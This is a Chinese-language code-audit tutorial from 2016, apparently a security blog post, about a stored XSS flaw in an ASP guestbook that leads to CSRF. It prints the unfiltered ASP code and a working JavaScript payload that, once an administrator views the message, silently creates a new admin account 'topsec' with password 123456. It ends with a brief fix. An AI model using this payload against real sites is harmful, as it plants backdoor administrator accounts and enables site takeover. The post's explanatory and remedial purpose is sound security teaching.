ASP代码审计之CSRF跨站请求伪造攻击

CracerCracer 2016-1-4 代码审计 615 0 2

概述:CSRF是Cross Site Request Forgery的缩写,直译过来就是跨站请求伪造的意思,通常用来指 WEB 网站的这一类漏洞,即在某个恶意站点的页面上,促使访问者请求你的网站的某个 URL ,从而达到改变服务器端数据的目的。

漏洞原理:结合跨站漏洞,利用JS脚本代码,做管理员身份才能做的事,但这种动作非管理员本身的请求。

漏洞代码:此系统中有个安全过滤函数HTMLEncode,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Public Function HTMLEncode(str)
If Not IsNull(str) Then
str = Replace(str, Chr(38), "&")
str = Replace(str, "<", "<") str = Replace(str, ">", ">")
str = Replace(str, Chr(9), " ")
str = Replace(str, Chr(32), " ")
str = Replace(str, Chr(34), """)
str = Replace(str, Chr(39), "'")
str = Replace(str, Chr(13) & Chr(10), "
")
str = Replace(str, Chr(10), "
")
str = Replace(str, Chr(13), "
")
HTMLEncode = str
End If
End Function
//以下是漏洞关键点
Content = ""
For i = 1 To Request.Form("Content").Count
Content = Content & Request.Form("Content")(i)
Next
………… //省略部分代码
rs("Guest_ZIP")=HTMLEncode(Guest_ZIP)
rs("Guest_TEL")=HTMLEncode(Guest_TEL)
rs("Guest_FAX")=HTMLEncode(Guest_FAX)
rs("Content")=Content
rs.Update

上述代码中Content变量经过Request.Form获取后并没有像Guest_FAX变量这样经过HTMLEncode过滤。

漏洞利用:利用方法如图所示

1

Xss.js脚本作用是执行添加一个新的管理员topsec。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
} else if(window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++) {
try {
request = new ActiveXObject(versions[i]);
} catch(e) {}
}
}
xmlhttp=request;

add_admin();
function add_admin(){
var url="/admin/SysAdmin_Add.asp?Action=SysAdmin_Add";
var params ="SiteControl_LoginName=topsec&SiteControl_LoginPass=123456&SiteControl_RealName=topsec&imageField.x=24&imageField.y=8";
xmlhttp.open("POST", url, true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.setRequestHeader("Content-length", params.length);
xmlhttp.setRequestHeader("Connection", "close");
xmlhttp.send(params);
}

植入如图所示的一段代码后,当管理员进入后台去查看此留言的时候就会触发该漏洞,系统会自动给我们加上账户为topsec,密码为123456的管理员。

漏洞修复:加入token认证,修复前台跨站漏洞。

转载请注明来自Cracer,本文标题:《ASP代码审计之CSRF跨站请求伪造攻击》

喜欢 (2) 发布评论
发表评论


Top